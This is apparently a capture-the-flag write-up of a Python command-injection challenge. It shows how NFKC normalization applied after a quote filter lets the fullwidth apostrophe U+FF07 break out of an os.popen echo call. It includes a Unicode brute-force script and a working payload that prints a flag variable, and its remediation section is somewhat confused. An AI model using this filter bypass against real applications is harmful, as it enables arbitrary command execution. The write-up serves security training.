The solution and the writeup provided were written by the hunter: Al-oxos.
The application is vulnerable to Code Injection due to the use of subprocess.run function to execute a command where a user can inject improper sanitized data. This can allow an attacker to execute arbitrary commands on the server, leading to Remote Code Execution (RCE). The vulnerability is caused by the lack of input validation and sanitization, allowing an attacker to inject malicious commands through the user input.
Code Injection lead to multiple security risks, the biggest being the following :
- Remote Code Execution (RCE): Command injection lead to remote code execution if an attacker is able to inject malicious data that will be executed within the application's context.
- Privilege Escalation: Through command injection, attackers may execute commands with elevated privileges, allowing access to sensitive data or restricted functionality within the application.
- Data Tampering: An attacker can manipulate or corrupt data within the system by injecting commands that alter files, databases, or application behavior in unintended ways.
In the context of this application, the Remote Code Execution is introduced within the following lines :
1 whisperMsg = unicodedata.normalize("NFKC", whisperMsg.replace("'", "_"))2 with os.popen(f"echo -n '{whisperMsg}' | hexdump") as stream:3 hextext = f"{stream.read()} | {whisperMsg}"4 print( template.render(msg=whisperMsg, hextext=hextext) )
Exploitation
The application's design contains a command injection vulnerability that allows an attacker to achieve remote code execution (RCE) by injecting malicious inputs. This vulnerability is primarily due to inadequate sanitization of user inputs in the command injection context.
The main functionality of this application involves executing an echo command based on user input and returning it in hex format.
Bypassing Command Sanitization to Achieve RCE
By default, we are facing this code which check our input for ' and replace them with _ which is perfect to avoid code execution :
1whisperMsg = unicodedata.normalize("NFKC", whisperMsg.replace("'", "_"))
The resulting output is then passed to the subprocess.run function to execute the echo command with the sanitized input:
1with os.popen(f"echo -n '{whisperMsg}' | hexdump") as stream:2 hextext = f"{stream.read()} | {whisperMsg}"3 print( template.render(msg=whisperMsg, hextext=hextext) )
The problem here is that after doing the replace function, our input is normalized using NFKC format. This is a huge vulnerability as the normalization makes code execution possible if we find a unicode character that return a quote after normalization.
To find such a character, we can build a small python script that test the whole unicode range and return us any char normalized into a single quote.
1import unicodedata23def bruteforce_unicode():4 results = []5 for codepoint in range(0x110000): # Unicode range from U+0000 to U+10FFFF6 char = chr(codepoint)7 char = unicodedata.normalize('NFKC', char.replace("'", "_"))8 if "'" == char:9 results.append((codepoint, char))10 return results1112if __name__ == "__main__":13 matches = bruteforce_unicode()14 for codepoint, char in matches:15 print(f"Codepoint: U+{codepoint:04X}, Character: {repr(char)}")
Executing this code return us Codepoint: U+FF07, Character: "'"
Using this character in a payload and escaping the context of the actual echo command makes it possible for command injection.
The payload '; echo $FLAG # allows the attacker to escape the single quote filter and execute the command using the character we just found before :
1echo $FLAG
This input, once passed to the command execution code, results in a successful command injection. The vulnerable command is executed within the os.popen function.
PoC
1{2 "input" : "'; echo $FLAG #"3}
Providing the previous input payload to the endpoint https://dojo-yeswehack.com/challenge-of-the-month/dojo-46 results in the disclosure of the flag environment variable content : FLAG{Gh0s7_S4y_BOOO000oooo}
Risk
Confidentiality
Exploitation of the vulnerability can lead to unauthorized access to sensitive data stored on the server, potentially compromising user information, including personally identifiable information (PII) and other confidential resources.
Integrity
Attackers could manipulate or tamper with sensitive data stored on the server by executing arbitrary commands, leading to unauthorized modifications and compromising data integrity.
Availability
A successful attack could result in service disruptions or downtime, preventing legitimate users from accessing the application or its services, thereby affecting availability.
Remediation
In order to ensure a remediation to this vulnerability, a solid user input sanitization must be done to filter any malicious or unintended content made by users.
To prevent command injection, the application should implement strict input validation and sanitization to filter out any malicious characters or sequences that could be used to inject commands. We should use shlex to ensure that no malicious input can easily be used as well as stop normalizing inputs.
It is also needed to avoid executing user inputs in the shell and using os.popen, as this allows attackers to inject commands. Instead, you must use subprocess.run without the shell=True option and avoid passing user input directly to shell commands. The updated code should be updated as follows:
1input_sanitize = shlex.quote(whisperMsg)2result = subprocess.run(["echo", "-n", input_sanitize], capture_output=True, text=True)
By implementing these changes, the vulnerabilities can be mitigated, but this is only a temporary solution. It is recommended to conduct a thorough security review of the application's codebase to identify and address any other potential security issues.



